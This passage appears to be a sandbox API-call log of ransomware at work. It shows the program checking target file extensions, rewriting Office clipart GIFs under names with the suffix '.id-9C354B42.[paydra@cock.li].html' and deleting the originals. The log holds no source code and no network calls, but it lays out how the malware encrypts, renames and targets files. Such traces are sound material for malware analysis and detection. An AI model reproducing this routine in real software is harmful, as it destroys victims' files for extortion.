Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.139] lstrlenW (lpString=".doc") returned 4 [0052.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.139] lstrlenW (lpString=".docx") returned 5 [0052.139] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.139] lstrlenW (lpString=".pdf") returned 4 [0052.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.140] lstrlenW (lpString=".xls") returned 4 [0052.140] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.140] lstrlenW (lpString=".xlsx") returned 5 [0052.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.140] lstrlenW (lpString=".ppt") returned 4 [0052.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.140] lstrlenW (lpString=".zip") returned 4 [0052.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.140] lstrlenW (lpString=".rar") returned 4 [0052.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.140] lstrlenW (lpString=".bz2") returned 4 [0052.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.140] lstrlenW (lpString=".7z") returned 3 [0052.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.140] lstrlenW (lpString=".dbf") returned 4 [0052.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.140] lstrlenW (lpString=".1cd") returned 4 [0052.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0052.140] lstrlenW (lpString=".jpg") returned 4 [0052.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.140] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5016) returned 1 [0052.140] CloseHandle (hObject=0x1e0) returned 1 [0052.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0052.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.141] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.141] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.141] GetLastError () returned 0x0 [0052.141] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1398, lpOverlapped=0x0) returned 1 [0052.143] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0052.144] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.144] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.144] SetEndOfFile (hFile=0x19c) returned 1 [0052.144] CloseHandle (hObject=0x19c) returned 1 [0052.144] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.144] SetEndOfFile (hFile=0x1e0) returned 1 [0052.145] CloseHandle (hObject=0x1e0) returned 1 [0052.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0052.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.145] lstrlenW (lpString=".doc") returned 4 [0052.145] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.145] lstrlenW (lpString=".docx") returned 5 [0052.146] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.146] lstrlenW (lpString=".pdf") returned 4 [0052.146] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.146] lstrlenW (lpString=".xls") returned 4 [0052.146] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.146] lstrlenW (lpString=".xlsx") returned 5 [0052.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.146] lstrlenW (lpString=".ppt") returned 4 [0052.146] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.146] lstrlenW (lpString=".zip") returned 4 [0052.146] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.146] lstrlenW (lpString=".rar") returned 4 [0052.146] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.146] lstrlenW (lpString=".bz2") returned 4 [0052.146] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.146] lstrlenW (lpString=".7z") returned 3 [0052.146] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.146] lstrlenW (lpString=".dbf") returned 4 [0052.146] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.146] lstrlenW (lpString=".1cd") returned 4 [0052.146] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0052.146] lstrlenW (lpString=".jpg") returned 4 [0052.146] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.147] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4390) returned 1 [0052.147] CloseHandle (hObject=0x1e0) returned 1 [0052.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0052.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.147] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.148] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.148] GetLastError () returned 0x0 [0052.148] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1126, lpOverlapped=0x0) returned 1 [0052.149] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1130, lpOverlapped=0x0) returned 1 [0052.150] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.150] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.150] SetEndOfFile (hFile=0x19c) returned 1 [0052.151] CloseHandle (hObject=0x19c) returned 1 [0052.151] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.151] SetEndOfFile (hFile=0x1e0) returned 1 [0052.151] CloseHandle (hObject=0x1e0) returned 1 [0052.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.152] lstrlenW (lpString=".doc") returned 4 [0052.152] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.152] lstrlenW (lpString=".docx") returned 5 [0052.152] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.152] lstrlenW (lpString=".pdf") returned 4 [0052.152] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.152] lstrlenW (lpString=".xls") returned 4 [0052.152] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.152] lstrlenW (lpString=".xlsx") returned 5 [0052.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.152] lstrlenW (lpString=".ppt") returned 4 [0052.152] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.152] lstrlenW (lpString=".zip") returned 4 [0052.152] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.152] lstrlenW (lpString=".rar") returned 4 [0052.152] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.152] lstrlenW (lpString=".bz2") returned 4 [0052.152] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.152] lstrlenW (lpString=".7z") returned 3 [0052.152] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.153] lstrlenW (lpString=".dbf") returned 4 [0052.153] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.153] lstrlenW (lpString=".1cd") returned 4 [0052.153] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0052.153] lstrlenW (lpString=".jpg") returned 4 [0052.153] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.153] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3966) returned 1 [0052.153] CloseHandle (hObject=0x1e0) returned 1 [0052.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0052.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.153] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.153] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.154] GetLastError () returned 0x0 [0052.154] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xf7e, lpOverlapped=0x0) returned 1 [0052.155] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0052.156] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.156] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.156] SetEndOfFile (hFile=0x19c) returned 1 [0052.156] CloseHandle (hObject=0x19c) returned 1 [0052.156] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.157] SetEndOfFile (hFile=0x1e0) returned 1 [0052.157] CloseHandle (hObject=0x1e0) returned 1 [0052.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString=".doc") returned 4 [0052.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.158] lstrlenW (lpString=".docx") returned 5 [0052.158] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.158] lstrlenW (lpString=".pdf") returned 4 [0052.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.158] lstrlenW (lpString=".xls") returned 4 [0052.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.158] lstrlenW (lpString=".xlsx") returned 5 [0052.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.158] lstrlenW (lpString=".ppt") returned 4 [0052.158] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString=".zip") returned 4 [0052.158] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.158] lstrlenW (lpString=".rar") returned 4 [0052.158] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.158] lstrlenW (lpString=".bz2") returned 4 [0052.158] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.158] lstrlenW (lpString=".7z") returned 3 [0052.158] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString=".dbf") returned 4 [0052.158] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString=".1cd") returned 4 [0052.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0052.158] lstrlenW (lpString=".jpg") returned 4 [0052.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.159] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3378) returned 1 [0052.159] CloseHandle (hObject=0x1e0) returned 1 [0052.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0052.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.159] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.159] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.159] GetLastError () returned 0x0 [0052.159] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xd32, lpOverlapped=0x0) returned 1 [0052.161] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd40, lpOverlapped=0x0) returned 1 [0052.162] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.162] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.162] SetEndOfFile (hFile=0x19c) returned 1 [0052.162] CloseHandle (hObject=0x19c) returned 1 [0052.163] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.163] SetEndOfFile (hFile=0x1e0) returned 1 [0052.163] CloseHandle (hObject=0x1e0) returned 1 [0052.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0052.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.164] lstrlenW (lpString=".doc") returned 4 [0052.164] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.164] lstrlenW (lpString=".docx") returned 5 [0052.164] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.164] lstrlenW (lpString=".pdf") returned 4 [0052.164] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.164] lstrlenW (lpString=".xls") returned 4 [0052.164] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.164] lstrlenW (lpString=".xlsx") returned 5 [0052.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.164] lstrlenW (lpString=".ppt") returned 4 [0052.164] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.164] lstrlenW (lpString=".zip") returned 4 [0052.164] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.164] lstrlenW (lpString=".rar") returned 4 [0052.164] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.164] lstrlenW (lpString=".bz2") returned 4 [0052.164] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.164] lstrlenW (lpString=".7z") returned 3 [0052.164] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.164] lstrlenW (lpString=".dbf") returned 4 [0052.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.165] lstrlenW (lpString=".1cd") returned 4 [0052.165] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0052.165] lstrlenW (lpString=".jpg") returned 4 [0052.165] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.165] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3120) returned 1 [0052.165] CloseHandle (hObject=0x1e0) returned 1 [0052.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0052.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.168] SetFilePointerEx 